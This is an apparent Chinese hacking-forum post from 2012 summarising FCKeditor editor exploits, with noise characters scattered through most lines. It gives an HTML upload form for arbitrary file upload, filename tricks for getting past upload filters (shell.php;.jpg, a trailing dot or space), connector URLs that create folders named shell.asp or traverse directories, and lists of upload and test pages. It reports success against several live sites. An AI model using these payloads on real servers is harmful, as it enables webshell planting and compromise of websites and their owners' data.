Fckeditor漏洞利用总结 ( ?- c1 |: v; Z! }6 c! Y# W' S
查看编辑器版本5 b; N, T+ p0 W
FCKeditor/_whatsnew.html! Q$ z( j! |' r, l
—————————————————————————————————————————————————————————————
n# T. d6 X" W# F
) C+ f& K& x) h, Q4 _2. Version 2.2 版本
; p. l9 ^' I- Q3 X, CApache+linux 环境下在上传文件后面加个.突破！测试通过。& B9 k+ I: n/ G3 {
—————————————————————————————————————————————————————————————7 k0 K) [, _: |- x2 l7 ]" R0 i
' b1 _$ T ~2 R; {5 ]3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。( D" i. w. j* m9 W/ f
<form id="frmUpload" enctype="multipart/form-data"
' _ _. d+ R" i8 K3 h6 l# c. o$ T$ {action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
4 ^& F0 m& d; R- O<input type="file" name="NewFile" size="50"><br>2 l4 T9 @1 y/ o5 V9 g" f8 ~
<input id="btnUpload" type="submit" value="Upload">
" s& s- _7 ]8 g* n0 x0 A. ?</form>4 |% I' ~9 U |6 B- E+ \% m# n
—————————————————————————————————————————————————————————————
( E& u. y+ ?0 U4 m2 g' m) C m* a, z% s" @. r1 W: |, O) k R" B
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
3 D. _* y& b$ ^ 很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
6 t+ {) i1 L; @, {. @4 n: l 4.1：提交shell.php+空格绕过+ f& w `8 j8 I4 |1 B6 b' Y4 O
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
8 Y: d$ D& ]4 f' {' E. f6 b 4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
) N; M: _* s& m. e—————————————————————————————————————————————————————————————+ `% m. y2 {3 W J) Z4 g
, j" v( R8 e4 V2 F0 m
5. 突破建立文件夹- T" Y! O6 V0 Y, l" ^! D: d
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684: {7 K! x7 `$ K. K+ }
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
! T- [* u! q: V2 d—————————————————————————————————————————————————————————————5 C! M; ^- K5 V% }. g3 a
+ C' W; K! h/ F9 p I9 K9 G6 H8 K6. FCKeditor 中test 文件的上传地址
$ [/ X W% \3 u2 {. z/ \FCKeditor/editor/filemanager/browser/default/connectors/test.html
' t% ^: A: z h* ]( FFCKeditor/editor/filemanager/upload/test.html
4 @& M. K3 W; ]$ B1 AFCKeditor/editor/filemanager/connectors/test.html
$ {0 j1 n! e$ g5 cFCKeditor/editor/filemanager/connectors/uploadtest.html
5 B! O. E/ z }' B7 ]( Z—————————————————————————————————————————————————————————————- J; v s5 ]+ N+ o, t
: N1 ]+ p" d8 I
7.常用上传地址
% i; O2 V% n9 V, l2 D% j: f: @6 DFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
' q* G# W8 R. l, QFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
) i4 R& b1 }! W4 d5 L2 PFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
! Q1 b8 W# |& tJSP 版：& J( f9 h& x) w7 |( d% J
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
' h j8 r5 j* C0 k% [注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文( j4 @! Z2 w9 f6 Y7 A8 J( F0 s1 F
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。) ?& U2 V: l) Y$ e# x
—————————————————————————————————————————————————————————————
& U. C! H# G3 ]3 P& |- m; `8 J: K
7 s: ?( i" C; w' X8 T8.其他上传地址* P% x1 F! T3 W$ \
FCKeditor/_samples/default.html
' I# y6 Z. y- LFCKeditor/_samples/asp/sample01.asp
( G/ s; P6 O+ f* w$ H) n* ?& X) N8 JFCKeditor/_samples/asp/sample02.asp
2 O9 t8 e p2 n9 p; I# S) KFCKeditor/_samples/asp/sample03.asp* V; [& D6 c6 a) B5 Q4 {0 q. w& Q: |3 `
FCKeditor/_samples/asp/sample04.asp9 x# k: A- K, P& h3 _9 ]
一般很多站点都已删除_samples 目录，可以试试。
6 q# }' \2 l8 Z7 a7 W, w& [1 TFCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。: H( w# ]) S) J; Y$ J z! o; e7 ?6 K
—————————————————————————————————————————————————————————————" w0 E7 _1 r: B) r8 Z: M- @8 h' V
! r5 H. j/ z3 E C5 q7 m% k9 G- A9.列目录漏洞也可助找上传地址
; Q, C) l9 M+ r6 I/ P( Y" FVersion 2.4.1 测试通过9 r5 Z% d$ M# v- D o
修改CurrentFolder 参数使用 ../../来进入不同的目录 u" ]0 x; r- A! A/ V, F
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp. p4 c; \, q6 H% j8 i3 n, D
根据返回的XML 信息可以查看网站所有的目录。
& O# s4 `7 N$ Q: h/ k7 u8 r: I- CFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
8 Z' J/ p; N$ X1 H7 m" j也可以直接浏览盘符：
1 c d5 G; M7 T$ t: B% sJSP 版本：
) g: Z9 ~, }- _3 U4 e: F+ |FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
1 ?( y) q% B( ]' w" L—————————————————————————————————————————————————————————————
1 v8 t1 X+ ?1 u3 p3 b' G
; M3 p8 k1 y2 y& E10.爆路径漏洞: y9 m/ t2 f# h8 y$ w
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
9 k9 I% h1 l) J- E. J) ]1 O: T8 {—————————————————————————————————————————————————————————————
2 L# N4 Y$ d0 B
4 m1 P. a: V7 n7 t- B7 Z5 n11. FCKeditor 被动限制策略所导致的过滤不严问题6 K+ l) \. |2 U/ E, u! T. o: d
影响版本: FCKeditor x.x <= FCKeditor v2.4.38 A' N7 v3 ?+ \' M# c/ n+ n% X3 l
脆弱描述：& v0 u- n4 t8 ~% J5 d4 d
FCKeditor v2.4.3 中File 类别默认拒绝上传类型：
; T; \% }$ x' phtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
3 q: n& Z6 Z5 M9 [Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!4 _9 l) t. d- b: k6 N+ I1 V, ~- N& Z
而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。
3 ^0 J' |7 |2 b4 ~8 G' U0 D! z 在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!9 x- k! t% ]+ J+ w: T" G* U7 S" `; w
—————————————————————————————————————————————————————————————
% f, ~1 t3 c0 @
& Z. U- |; ~0 A12.最古老的漏洞，Type文件没有限制！+ d4 V! m9 a' X% t9 p/ w8 b8 h
我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！ 9 Y$ }( I( I) P
—————————————————————————————————————————————————————————————
0 C8 X- _2 W6 {2 h. o. L4 w/ ?3 r/ u: \3 Y" Y
===============================================================================================================================================
- n) {9 u0 i. i9 A4 V' p! \- D* G7 T1 |
FCK编辑器jsp版本漏洞：
* B0 {* u% ]- H$ Y, w$ Y% H" j K
$ W( M) ~9 |' T" {$ R% p1 P3 n2 s. |3 I
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F' K! V3 f8 g" ]" R* ?" }0 T
2 M; X8 g0 [- ^5 L7 F; x% D9 C
上传马所在目录
( i' E, _* c0 [- G4 T" ?5 B) l- u) CFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/9 H" f+ H4 I. ?# d; w3 h
上传shell的地址:" @# ~5 A B8 i+ N. B
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
0 n' F: o$ x6 m! Q. C/ ~- B+ |跟版本有关系.并不是百分百成功. 测试成功几个站.! g6 h9 ^6 x3 l
不能通杀.很遗憾., L/ c V* |& |% I4 Y- D
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
6 y @5 g& J8 N如果以上地址不行可以试试
3 J- A8 _! O2 }$ l! [; O1 XFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
3 w6 f3 H) W5 z, q* L2 q4 XFCKeditor/_samples/( A b$ C; l5 K \
FCKeditor/_samples/default.html5 ^% O$ p7 ]2 s0 [& D
FCKeditor/editor/fckeditor.htm
+ z& p3 i4 ]! k) U" I, CFCKeditor/editor/fckdialog.html2 |$ w$ u/ L$ D7 c5 z
8 U2 a- o w( w/ _" I( V2 N# x0 O- @% O: e$ B) V
( N: o1 M, ~' \4 I, A解析漏洞+未重命名文件时上传漏洞 1.asp;jpg0 R- F# k% ]5 j- M9 l7 b+ W' q
|
发表于 2012-9-13 17:01:39
收藏
支持
反对